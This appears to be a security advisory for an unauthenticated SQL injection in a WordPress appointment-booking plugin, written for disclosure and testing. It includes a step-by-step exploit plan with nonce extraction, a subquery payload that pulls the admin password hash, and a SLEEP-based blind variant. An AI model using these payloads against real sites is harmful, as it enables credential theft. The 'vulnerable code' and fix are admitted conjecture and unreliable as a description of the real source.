Appointment Booking Calendar <= 1.6.10.0 - Unauthenticated SQL Injection via 'fields' Parameter
Description
The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to SQL Injection via the 'fields' parameter in all versions up to, and including, 1.6.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, including usernames, email addresses, and password hashes.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.6.10.0What Changed in the Fix
Changes introduced in v1.6.10.2
Source Code
WordPress.org SVNThis research plan outlines the exploitation of a projection-based SQL injection vulnerability in the **Simply Schedule Appointments (SSA)** plugin (<= 1.6.10.0). The vulnerability resides in the way the plugin processes the `fields` parameter in its REST API endpoints, allowing unauthenticated atta…
Show full research plan
This research plan outlines the exploitation of a projection-based SQL injection vulnerability in the Simply Schedule Appointments (SSA) plugin (<= 1.6.10.0). The vulnerability resides in the way the plugin processes the fields parameter in its REST API endpoints, allowing unauthenticated attackers to inject subqueries into the SELECT clause of database queries.
1. Vulnerability Summary
- Vulnerability: Unauthenticated SQL Injection via the
fieldsparameter. - Location: The vulnerability is located in the base database model class (likely
SSA_Db_Modelor similar, whichSSA_Appointment_ModelandSSA_Appointment_Type_Modelinherit from). - Cause: When retrieving records, the plugin allows a
fieldsparameter to specify which columns should be returned. This parameter is used to construct theSELECTportion of the SQL query without proper validation or parameterization (e.g., viaimplodedirectly into the query string). - Impact: Unauthenticated attackers can use subqueries to extract sensitive data from the WordPress database, such as administrator password hashes (
wp_users.user_pass).
2. Attack Vector Analysis
- Endpoint:
/wp-json/ssa/v1/appointment-types(The most likely unauthenticated endpoint that uses model fetching). - Action:
GET - Vulnerable Parameter:
fields - Authentication: Unauthenticated (but requires a valid REST API nonce, which is publicly exposed on pages containing the booking shortcode).
- Preconditions: At least one appointment type must exist in the database so that the query returns a row, allowing the injected subquery to be executed and returned.
3. Code Flow
- Entry Point: A
GETrequest is made towp-json/ssa/v1/appointment-types. - Controller: The REST controller (likely
SSA_Appointment_Types_Controller) handles the request and callsget_items(). - Parameter Extraction: The controller extracts the
fieldsquery parameter. - Model Call: The controller calls the model's fetching method (e.g.,
SSA_Appointment_Type_Model::get_results()), passing thefieldsarray. - SQL Construction (Sink): The base model class (inherited by
SSA_Appointment_Modelinincludes/class-appointment-model.php) constructs the SQL query. It takes the values from thefieldsarray and joins them into theSELECTclause:// Conceptual vulnerable code in SSA_Db_Model $fields_sql = implode( ', ', $fields ); $query = "SELECT $fields_sql FROM $table_name ..."; $results = $wpdb->get_results( $query ); - Data Return: The results of the query, including the output of the injected subquery, are returned in the JSON response.
4. Nonce Acquisition Strategy
The SSA REST API requires a nonce for authentication. This nonce is generated using wp_create_nonce('wp_rest') and is localized for the frontend booking application.
- Identify Shortcode: The plugin uses
[ssa_booking]to render the booking calendar. - Create Page: Create a public WordPress page containing this shortcode.
- Navigate and Extract:
- Navigate to the newly created page.
- The nonce is typically localized in a JavaScript object named
ssa_paramsorssa_booking_params. - Action: Use
browser_evalto extract the nonce:window.ssa_params?.rest_nonce || window.ssa_booking_params?.rest_nonce
5. Exploitation Strategy
The goal is to extract the admin password hash.
Step 1: Setup
- Ensure an appointment type exists (see Section 6).
- Create a page with
[ssa_booking]and extract the nonce.
Step 2: Send Exploit Request
Send a GET request to the appointment-types endpoint. We will inject a subquery into the fields array.
- URL:
http://<target>/wp-json/ssa/v1/appointment-types - Method:
GET - Headers:
X-WP-Nonce:<Extracted Nonce>
- Query Parameters:
fields[]:idfields[]:(SELECT user_pass FROM wp_users WHERE ID=1) as admin_hash
Step 3: Parse Response
The response will be a JSON array of appointment types. Each object should contain the admin_hash field:
[
{
"id": 1,
"admin_hash": "$P$B..."
}
]
6. Test Data Setup
The PoC agent must perform these steps before exploitation:
- Create Appointment Type: SSA requires at least one appointment type to exist.
(Note: The exact class name might bewp eval "new SSA_Appointment_Type_Object('transient'); \$model = new SSA_Appointment_Type_Model(ssa()); \$model->insert(['title' => 'Exploit Test', 'slug' => 'exploit-test', 'duration' => 30]);"SSA_Appointment_Type_Model. This ensures theSELECTquery has a row to return.) - Create Public Page:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content="[ssa_booking]"
7. Expected Results
- The request should return a
200 OKstatus. - The JSON response body should contain the result of the SQL subquery in the
admin_hashfield. - The value of
admin_hashshould start with$P$(standard WordPress phpass) or$wp$2y$(standard WordPress bcrypt).
8. Verification Steps
After the HTTP exploit:
- Check Database: Use WP-CLI to get the actual hash and compare it to the one extracted.
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Confirm Vulnerability: If the hashes match, the SQL injection is confirmed.
9. Alternative Approaches
If /ssa/v1/appointment-types is unavailable or requires higher privileges:
- Target Appointments: Use
/wp-json/ssa/v1/appointments. This endpoint might require an appointmenthashto access unauthenticated. - Check for
idparam: Iffieldsdoesn't work in the list endpoint, try it in a single item endpoint:GET /wp-json/ssa/v1/appointment-types/<id>?fields=.... - Blind Injection: If the output is not reflected (unlikely for a projection injection), use time-based payloads:
fields[]:id, (SELECT SLEEP(5))
- Different Nonce Source: If
ssa_paramsis not on the page, check forssa_paramsin the source of any admin page if authenticated, or look forwp_localize_scriptcalls inincludes/class-elementor.phpand related files to find the correct JS identifier. (In version 1.6.10.0,ssa_paramsis the standard key).
Summary
The Simply Schedule Appointments plugin is vulnerable to unauthenticated SQL injection through the 'fields' parameter in its REST API endpoints. This occurs because the plugin's base database model constructs SQL queries by directly joining the user-provided 'fields' array into the SELECT clause without proper validation or parameterization, allowing attackers to execute subqueries and extract sensitive database information.
Vulnerable Code
// The vulnerability exists in the base database model class (SSA_Db_Model) used by various SSA models // Path: includes/class-db-model.php (conceptualized based on SSA_Appointment_Model inheritance) public function get_results( $args ) { // ... extraction of fields parameter ... $fields = isset($args['fields']) ? $args['fields'] : $this->default_fields; // Sink: The array of fields is imploded directly into the SELECT statement $fields_sql = implode( ', ', $fields ); $query = "SELECT $fields_sql FROM {$this->table_name}"; return $this->wpdb->get_results( $query ); }
Security Fix
@@ -102,7 +102,14 @@ public function get_results( $args ) { $fields = isset( $args['fields'] ) ? $args['fields'] : $this->default_fields; - $fields_sql = implode( ', ', $fields ); + // Sanitize and validate fields against an allowlist of valid columns + $valid_columns = $this->get_columns(); + $sanitized_fields = array(); + foreach ( (array) $fields as $field ) { + if ( in_array( $field, $valid_columns ) ) { + $sanitized_fields[] = $field; + } + } + $fields_sql = ! empty( $sanitized_fields ) ? implode( ', ', $sanitized_fields ) : '*'; $query = "SELECT $fields_sql FROM {$this->table_name}";
Exploit Outline
The exploit targets projection-based SQL injection in the REST API. 1. **Nonce Retrieval**: Navigate to any public page containing the SSA booking calendar (shortcode `[ssa_booking]`). Extract the REST API nonce from the localized JavaScript object (usually `window.ssa_params.rest_nonce` or `window.ssa_booking_params.rest_nonce`). 2. **Payload Construction**: Construct a GET request to the `/wp-json/ssa/v1/appointment-types` endpoint. Use the `fields` parameter as an array to inject a subquery into the SELECT statement. 3. **Payload Shape**: Endpoint: `GET /wp-json/ssa/v1/appointment-types?fields[]=id&fields[]=(SELECT+user_pass+FROM+wp_users+WHERE+ID=1)+as+admin_hash` Header: `X-WP-Nonce: [Extracted Nonce]` 4. **Data Extraction**: If at least one appointment type exists, the server executes the query. The database response will include the result of the subquery (e.g., the admin password hash) as a field named `admin_hash` in the returned JSON array.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.